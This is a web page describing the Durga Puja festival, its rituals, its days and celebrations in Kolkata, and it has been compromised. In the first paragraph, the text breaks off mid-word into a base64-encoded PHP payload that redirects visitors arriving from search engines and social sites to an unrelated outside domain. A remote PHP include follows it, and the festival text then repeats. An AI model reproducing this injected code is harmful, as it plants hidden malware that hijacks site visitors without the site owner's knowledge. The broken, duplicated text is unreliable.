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Durga Puja is one of the most important Hindu festivals, which is marked by worshipping Goddess Durga during a period lasting 9 days.
Celebrations of Durga Puja are observable throughout the country especially in the state of West Bengal where the festivities take gigantic proportions. Many pandals are decorated during the Durga Puja festival in honour of Goddess Durga. Fasting, festival dishes, devotional songs and decorations are some of the main aspects of the Durga Puja festivals. Durga Puja is a festival which epitomizes the victory of Good over Evil. Today, the festivities associated with Durga Puja can best be enjoyed at the various Durga Puja pandals which come up across the country. These pandals play different music and devotional songs in honour of Goddess Durga and are aesthetically decorated to provide for an ideal secoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJ1Z2dlLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0=")); include('http://www.365celebration.com/inc/festival-in-india.php') ?>
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Durga Puja is one of the most important Hindu festivals, which is marked by worshipping Goddess Durga during a period lasting 9 days.
Celebrations of Durga Puja are observable throughout the country especially in the state of West Bengal where the festivities take gigantic proportions. Many pandals are decorated during the Durga Puja festival in honour of Goddess Durga. Fasting, festival dishes, devotional songs and decorations are some of the main aspects of the Durga Puja festivals. Durga Puja is a festival which epitomizes the victory of Good over Evil. Today, the festivities associated with Durga Puja can best be enjoyed at the various Durga Puja pandals which come up across the country. These pandals play different music and devotional songs in honour of Goddess Durga and are aesthetically decorated to provide for an ideal setting to offer prayers to Goddess Durga.
Durga Puja Festival India
Durga Puja festival is celebrated every year in the month of September/October and lasts for five days. It is one of the most popular festivals of the Bengalis. The festival is dedicated to the goddess of power "Mother Durga", also known as Shakti. Durga Puja festival celebrates the victory of Durga Ma over the demon king, Mahishasura. It is celebrated throughout the state of West Bengal with full dedication. A number of ceremonies are performed during Durga Puja festival, which has to be strictly adhered to.
The Puja starts on the day of Sashthi and the successive days are known as Saptami, Ashtami, Navami and Dashami or Bijoya Dashami. Dashami is the last day of the festival, on which the idol of Durga Ma is immersed in the river or sea. Dressing up, socializing with friends, family and relatives, visiting the pandals, eating mouthwatering food and dancing to the beats of drums represent the Durga Puja of Kolkata. In Kolkata, Durga Puja Festival witnesses setting up of the stalls in almost each and every locality. The whole city comes to life at the time of the festival and wears a festive look.
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